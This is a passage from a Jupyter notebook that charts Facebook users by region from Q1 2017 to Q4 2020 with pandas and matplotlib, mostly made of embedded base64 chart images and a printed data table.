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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "import numpy as np\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB5.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "z = list(df.iloc[:, 2])\n", + "w = list(df.iloc[:, 3])\n", + "k = list(df.iloc[:, 4])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,10))\n", + "width = 0.2 \n", + "\n", + "# Plotting\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='US&Canada', color='r')\n", + "plt.bar(ind + width, z, width, label='Europe', color='b')\n", + "plt.bar(ind + 2*width, w, width, label='Asia_Pacific', color='k')\n", + "plt.bar(ind + 4*width, w, width, label='Rest_of_World', color='y')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Quarter\")\n", + "plt.ylabel(\"Millions\")\n", + "plt.title(\"Facebook users by region, millions\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook daily users by region, millions" + ] + }, + { + "cell_type": "code", + "execution_count": 87, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter US&Canada Europe Asia_Pacific Rest_of_World\n", + "0 Q1 2017 182 267 427 408\n", + "1 Q2 2017 183 271 453 419\n", + "2 Q3 2017 185 274 476 433\n", + "3 Q4 2017 184 277 499 441\n", + "4 Q1 2018 185 282 529 453\n", + "5 Q2 2018 185 279 546 461\n", + "6 Q3 2018 185 278 561 470\n", + "7 Q4 2018 186 282 577 478\n", + "8 Q1 2019 186 286 600 490\n", + "9 Q2 2019 187 286 615 499\n", + "10 Q3 2019 189 288 627 519\n", + "11 Q4 2019 190 294 641 532\n", + "12 Q1 2020 195 305 678 556\n", + "13 Q2 2020 198 305 699 583\n", + "14 Q3 2020 196 305 727 593\n", + "15 Q4 2020 195 308 744 598\n" + ] + }, + { + "data": { + "image/png": "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trU24qv7RnDMRye5Ism0hcI/AID5XFEGADBG3dsm35rk0ytASPaoJP+S5PRlHZJV1Q5V9eSqelRV7ZPO1WdfWZZtdD9RcwshGQCwJCP9BCAAAHpU1RbpPFvriiSvnuDu9FX3GWe3pvMJjfv0oYknpHM77Nrp3IL6ptbaT/rQDgDAErn1EgAAAADi1ksAAAAASLKc33q5zjrrtE022WSiuwEAAADAcmLWrFm/b62tu6h1y3VQtskmm2TmzJkT3Q0AAAAAlhNV9avFrXPrJQAAAABEUAYAAAAASQRlAAAAAJBkOX9G2aLcf//9mTNnTu69996J7gqLMXXq1Gy00UZZeeWVJ7orAAAAAPNNuqBszpw5WW211bLJJpukqia6OyyktZbbb789c+bMyaabbjrR3QEAAACYb9Ldennvvfdm7bXXFpINqKrK2muv7Yo/AAAAYOBMuqAsiZBswPn9AAAAAINoUgZlAAAAADBakz4oq6pl+jUSN910U7beeusFlh1xxBE5+uijc8kll2THHXfM9OnTs8UWW+SII46Yv83Xvva1bLnlltl6663zvve972HH/dznPpett946W221VbbccsscffTRj6g2S/NQnwEAAABWBJPuYf6D7uCDD84ZZ5yRbbfdNvPmzct11103f93b3va2nHvuudl0001z4403LrDft771rXz0ox/Nd7/73WywwQa59957c8opp4x39wEAAAAmrUl/Rdmgue2227L++usnSVZaaaVsueWW89c9+tGPzpw5c5LkYZ8I+R//8R85+uijs8EGGyRJpk6dmte//vVJkk996lPZYYcdsu222+ZlL3tZ/vznPydJDjnkkLzlLW/JzjvvnCc96Uk588wzkyT33HNP9txzzzztaU/LNttsk69+9avz2znqqKOy+eab5znPec4CId7i2gAAAACYLARl4+ztb397Nt9887zkJS/JJz/5yfmf/vjggw9miy22yGte85qHXU2WJFdddVW23377RR7zpS99aS6//PJcccUV2WKLLXLiiSfOXzd37txceOGF+frXv57DDjssSSdkO/vss/PjH/84559/ft7xjnektZZZs2bl9NNPz09+8pN8+ctfzuWXXz6iNgAAAAAmA0FZHyzuWWZVlfe///2ZOXNm9tprr3zhC1/IPvvskyQ59thjs9VWW+V///d/88IXvjC/+93vctlll2W//fZbantXXXVVdt1112yzzTY59dRTc/XVV89ft+++++ZRj3pUttxyy9x6661JktZa3vve92batGl5znOek9/85je59dZb88Mf/jAveclLsuqqq+Zxj3tcXvSiF42oDQAAAIDJQFDWB2uvvXbuvPPOBZbdcccdWWeddZIkT37yk/OmN70p5513Xq644orcfvvt+c53vpM999wzz3nOc/L+978/z3/+8/O5z30u+++/f5Jkq622yqxZsxbZ3iGHHJLjjjsuP/3pTzNjxoz5V6klyWMe85j5r1trSZJTTz01v/vd7zJr1qzMnj07j3/84+fvs7iQb0ltAAAAAEwGgrI++Ju/+Zusv/76Oe+885J0QrJvf/vbeeYzn5lvfOMb8wOr66+/PiuttFLWWGONbLfddvn85z+fBx98MC9/+cuz2Wab5Qtf+EKe//znJ0kOP/zwvPvd785vf/vbJMl9992XY445Jkly9913Z/3118/999+fU089dan9u+uuu7Leeutl5ZVXzvnnn59f/epXSZLddtstZ599dv7yl7/k7rvvzte+9rX5+4y2DQAAAIDlzaT/1MuHQqnx9rnPfS5vfvOb8453vCNJMmPGjDz5yU/O+973vrz97W/PqquumilTpuTUU0/NSiutlPe9733553/+52y99dZZZZVV8qxnPStveMMb8spXvjJnnXVWnve85+XWW2/Nc57znLTWUlV5zWtekyT54Ac/mB133DFPfOITs8022+Tuu+9eYt9e9apX5YUvfGGGhoYyffr0PPWpT02SPO1pT8v++++f6dOn54lPfGJ23XXX+fuMtg0AAACA5U1NVJC0LAwNDbWZM2cusOyaa67JFltsMUE9YqT8ngAAAICJUFWzWmtDi1rn1ksAAAAAiKAMAAAAAJIIygAAAAAgiaAMAAAAAJIIygAAAAAgiaAMAAAAAJIkUya6A31XtWyP19pSN1lppZWyzTbbzP/5gAMOyGGHHbZs+wEAAADAMjX5g7IJsMoqq2T27Nlj2veBBx7IlCl+LQAAALAiqCNHf4FPm7H0i3gW2dYYriUawfVCk4pbL8fRJptskt///vdJkpkzZ2b33XdPkhxxxBE59NBDs9dee+Wggw7Kr371q+y5556ZNm1a9txzz/z6179OkhxyyCF54xvfmF133TVPecpT8vWvfz1JMm/evLzrXe/KDjvskGnTpuWTn/zkhJwfAAAAwPLMpUt98Je//CXTp0+f//Phhx+e/ffff4n7zJo1KxdeeGFWWWWVvPCFL8xBBx2Ugw8+OJ/5zGfylre8JV/5yleSJDfddFP+7//+L7/4xS+yxx575IYbbsjnPve5rL766rn88stz3333ZZdddslee+2VTTfdtI9nCQAAADC5CMr6YCy3Xr7oRS/KKquskiS5+OKL8+UvfzlJcuCBB+bd7373/O1e/vKX51GPelQ222yzPOlJT8q1116b7373u7nyyitz5plnJknuuuuuXH/99YIyAAAAgFEQlI2jKVOm5MEHH0yS3HvvvQuse+xjH7vY/arnJuJa6IbiqkprLccee2z23nvvZdhbAAAAgBWLZ5SNo0022SSzZs1Kkpx11lmL3W7nnXfO6aefniQ59dRT88xnPnP+ui996Ut58MEH84tf/CK//OUvs/nmm2fvvffO//7v/+b+++9Pkvz85z/Pn/70pz6eCQAAAMDkM/mvKJuAj2dY+Bll++yzTz784Q9nxowZee1rX5sPfehD2XHHHRe7/zHHHJPXvOY1+a//+q+su+66Oemkk+av23zzzfOsZz0rt956az7xiU9k6tSped3rXpebbropT3va09Jay7rrrjv/mWYAAAAAjEy15fhzPoeGhtrMmTMXWHbNNddkiy22mKAe9dchhxySF7zgBfn7v//7ie7KIzaZf08AAAAwUnVkLX2jhbQZY8tyavRNTcT1R31XVbNaa0OLWufWSwAAAADIinDr5STy2c9+dqK7AAAAADBpuaIMAAAAACIoAwAAAIAkbr0EAAAAxtlYHmCfjO0h9h5gz2i4ogwAAAAAsgJcUTbWlHpxxvoRrAAAAAAMNleU9cnZZ5+dqsq11167xO2e97zn5Q9/+MOoj7/JJptkm222ybbbbpu99torv/3tb0d9jNe97nX52c9+liT50pe+lC222CJ77LFHZs6cmbe85S2jPh4AAADA8kxQ1iennXZanvnMZ+b0009f4nbf/OY3s8Yaa4ypjfPPPz9XXHFFhoaG8qEPfWjU+3/605/OlltumSQ58cQT8/GPfzznn39+hoaGcswxx4ypTwAAAADLK0FZH9xzzz350Y9+lBNPPHF+UDZ37tzstttumT59erbeeuv88Ic/TNK5Muz3v/99kmTffffN9ttvn6222ionnHDCiNvbbbfdcsMNN+Syyy7LzjvvnO222y4777xzrrvuuiTJvHnz8s53vjPbbLNNpk2blmOPPTZJsvvuu2fmzJn5wAc+kAsvvDBvfOMb8653vSsXXHBBXvCCF8w/l1e/+tXz9z3rrLOWWZ0AAAAABsmkf0bZRPjKV76SffbZJ095ylOy1lpr5cc//nHOP//87L333nnf+96XefPm5c9//vPD9vvMZz6TtdZaK3/5y1+yww475GUve1nWXnvtpbb39a9/Pdtss02e+tSn5gc/+EGmTJmSc889N+9973tz1lln5YQTTsiNN96Yn/zkJ5kyZUruuOOOBfZ///vfn+9///s5+uijMzQ0lAsuuGD+ug9+8INZffXV89Of/jRJcueddz6y4gAAAAAMKEFZH5x22ml529veliQ54IADctppp+WFL3xhXvOa1+T+++/Pvvvum+nTpz9sv2OOOSZnn312kuTmm2/O9ddfv8SgbI899shKK62UadOm5d///d9z11135eCDD87111+fqsr999+fJDn33HPzxje+MVOmdH7da6211ojP5dxzz13g9tE111xzxPsCAAAALE8EZcvY7bffnu9///u56qqrUlWZN29eqiof+chH8oMf/CDf+MY3cuCBB+Zd73pXDjrooPn7XXDBBTn33HNz8cUXZ9VVV83uu++ee++9d4ltnX/++VlnnXXm//y2t70te+yxR84+++zcdNNN2X333ZMkrbVUje3TPx/JvgAAAADLk0kflLUZbVzbO/PMM3PQQQflk5/85Pxlz3rWs/KDH/wgu+yyS17/+tfnT3/6U3784x8vEJTdddddWXPNNbPqqqvm2muvzSWXXDLqtu+6665suOGGSZLPfvaz85fvtdde+cQnPpHdd999/q2XI72qbK+99spxxx2Xj370o0k6t166qgwAAACYjDzMfxk77bTT8pKXvGSBZS972ctyyCGHZPr06dluu+1y1lln5a1vfesC2+yzzz554IEHMm3atPzbv/1bdtppp1G3/e53vzuHH354dtlll8ybN2/+8te97nX527/920ybNi3bbrttvvCFL4z4mP/6r/+aO++8M1tvvXW23XbbnH/++aPuFwAAAMDyoFob3yuulqWhoaE2c+bMBZZdc8012WKLLSaoR4yU3xMAAMCKq44c4+OBxnDX2FieJjSeUclYajHWu+cGvRbjpapmtdaGFrXOFWUAAAAAkBXgGWXLux133DH33XffAstOOeWUbLPNNhPUIwAAAIDJSVA24C699NKJ7gIAAADACsGtlwAAAACQPgZlVbV5Vc3u+fpjVb2tqtaqqu9V1fXd72v27HN4Vd1QVddV1d796hsAAAAALKxvQVlr7brW2vTW2vQk2yf5c5KzkxyW5LzW2mZJzuv+nKraMskBSbZKsk+Sj1fVSv3qHwAAAAD0Gq9bL/dM8ovW2q+SvDjJyd3lJyfZt/v6xUlOb63d11q7MckNSZ7+SBuuWrZfAAAAAExO4/Uw/wOSnNZ9/fjW2twkaa3Nrar1uss3THJJzz5zussWUFWHJjk0SaauPTVDJwwtsP4j0z+S9rvWs2TLZXICD/nZ73621G22ecI22WyLzTJv3rxs+Lcb5sPHfziPW/1xo2rnmp9ek9/d+rvs9pzdRt3Hv97317zplW/KnXfcmde/9fV57r7PXWD997/1/Zx92tk59nPHJkk+9bFP5axTz8q3L/t2kuT875yfMz9/Zo4/5fgRtXf26Wfn6tlX518//K8PWze0yVBm3jTzYct/e/dvc+AJB4721AAAAJZrs+bOGvU+26+//ejbGX0znbZG39S4WjgDGJFDx9LO6PcZT2OqQzIpa7Gs9T0oq6pHJ3lRksOXtukilrWHLWjthCQnJMnQ0FCbeeiCIcw111yTLdbdYmydHYEt11168LbKKqvk2quuTZIcfPDBOe+L5+V973vfqNq57NeX5aqZV+WNr3jjqPt4ySWX5NH16Pl9WNi6z103H3zXB+efyy+u/EXWWXOdrNPWyXrrrZdTrj4l++yxz4jO9YEHHsiGq22YuavMXeT2j6pHLXJ5/b6y8O8OAABgsqsjR3+r0lj+32msd0TNfNj/hffHWOqQjF8txqsOyfiNiWTwazFe6g2LL8R43Hr53CQ/bq3d2v351qpaP0m632/rLp+TZOOe/TZKcss49K+vnvGMZ+Q3v/lNkuQXv/hF9tlnn2y//fbZddddc+21nSDrS1/6Urbeeutsu+222W233fLXv/4173//+/PFL34x06dPzxe/+MVFHvuOO+7Ivvvum2nTpmWnnXbKlVdemdtuuy3/8A//kNmzZ2f69On5xS9+8bD91l133ay++uq54YYbkiS/+c1v8rKXvSwXXXRRkuSiiy7KzjvvnF/96lfZc889M23atOy555759a9/nSQ55JBD8i//8i/ZY4898p73vGeBY9944415xjOekR122CH/9m//tmyKCAAAADAOxiMoe0WGb7tMknOSHNx9fXCSr/YsP6CqHlNVmybZLMll49C/vpk3b17OO++8vOhFL0qSHHrooTn22GMza9asHH300fnHf/zHJMkHPvCBfOc738kVV1yRc845J49+9KPzgQ98IPvvv39mz56d/ffff5HHnzFjRrbbbrtceeWV+dCHPpSDDjoo6623Xj796U9n1113zezZs/PkJz95kfvuvPPOueiii3Lddddls802y0477ZSLLrooDzzwQK688srssMMO+ad/+qccdNBBufLKK/OqV70qb3nLW+bv//Of/zznnntu/vu//3uB4771rW/Nm970plx++eV5whOesCzKCAAAADAu+hqUVdWqSf4uyZd7Fn84yd9V1fXddR9Oktba1UnOSPKzJN9O8ubW2rx+9q9f/vKXv2T69OlZe+21c8cdd+Tv/u7vcs899+Siiy7Kfvvtl+nTp+cNb3hD5s6dmyTZZZddcsghh+RTn/pU5s0b+SlfeOGFOfDAznO+nv3sZ+f222/PXXfdNaJ9d9lll1x00UW56KKL8oxnPCNPf/rTc+mll+YnP/lJNt9880ydOjUXX3xxXvnKVyZJDjzwwFx44YXz999vv/2y0koP/1DSH/3oR3nFK14xfx8AAACA5UVfn1HWWvtzkrUXWnZ7Op+Cuajtj0pyVD/7NB5WWWWVzJ49O3fddVde8IIX5Pjjj88hhxySNdZYI7Nnz37Y9p/4xCdy6aWX5hvf+EamT5++yG0WpbWH3yhcI7zheOedd86xxx6befPm5fWvf31WW2213Hvvvbnggguyyy67LHKf3mM/9rGPXeyxR9oHAAAAgEEyHrdeTqjWlu3XaKy++uo55phjcvTRR2eVVVbJpptumi996UvdfrVcccUVSTrPLttxxx3zgQ98IOuss05uvvnmrLbaarn77ruXePzddtstp556apLkggsuyDrrrJPHPW5kn6655ZZb5pZbbskPf/jDbLfddkmS6dOn5xOf+ER23nnnJJ0w7fTTT0+SnHrqqXnmM5+51OPusssuC+wDAAAAsLyY9EHZRNtuu+2y7bbb5vTTT8+pp56aE088Mdtuu2222mqrfPWrncezvetd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